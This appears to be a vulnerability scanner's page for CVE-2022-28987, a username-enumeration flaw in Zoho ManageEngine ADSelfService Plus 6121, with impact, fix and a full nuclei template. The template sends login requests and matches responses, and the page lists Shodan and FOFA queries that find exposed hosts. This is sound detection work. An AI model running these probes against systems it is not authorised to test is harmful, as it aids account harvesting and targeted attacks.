Zoho ManageEngine ADSelfService Plus 6121 - Username Enumeration

mediumseverity

5.3CVSS score

10%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Zoho ManageEngine ADSelfService Plus 6121 is vulnerable to username enumeration (CVE-2022-28987). The Forgot Password functionality responds differently for existing and non-existing users, allowing attackers to enumerate valid usernames.

Impact

Attackers can enumerate valid usernames, aiding targeted attacks or account harvesting.

Fix

Update to version 6202 or later.

How to confirm it

Send: POST /ServletAPI/accounts/login
Positive when: contains(body, "eSTATUS\":\"Permission Denied") and contains(content_type, "application/json") and status_code == 200 OR contains(body, "eSTATUS\":\"Your account has been disabled") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-28987 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-28987

info:
  name: Zoho ManageEngine ADSelfService Plus 6121 - Username Enumeration
  author: ritikchaddha
  severity: medium
  description: |
    Zoho ManageEngine ADSelfService Plus 6121 is vulnerable to username enumeration (CVE-2022-28987). The Forgot Password functionality responds differently for existing and non-existing users, allowing attackers to enumerate valid usernames.
  impact: |
    Attackers can enumerate valid usernames, aiding targeted attacks or account harvesting.
  remediation: |
    Update to version 6202 or later.
  reference:
    - https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/adselfservice-userenum.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28987
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-28987
    epss-score: 0.10026
    epss-percentile: 0.95652
    cwe-id: CWE-203
  metadata:
    max-request: 2
    verified: false
    shodan-query: http.title:"ADSelfService Plus"
    fofa-query: title="ADSelfService Plus"
  tags: cve,cve2022,zoho,manageengine,user-enum,adselfservice,vkev,vuln

http:
  - raw:
      - |
        POST /ServletAPI/accounts/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        loginName=asdfnonexistent

      - |
        POST /ServletAPI/accounts/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        loginName=Guest

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "eSTATUS\":\"Permission Denied")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        dsl:
          - 'contains(body, "eSTATUS\":\"Your account has been disabled")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from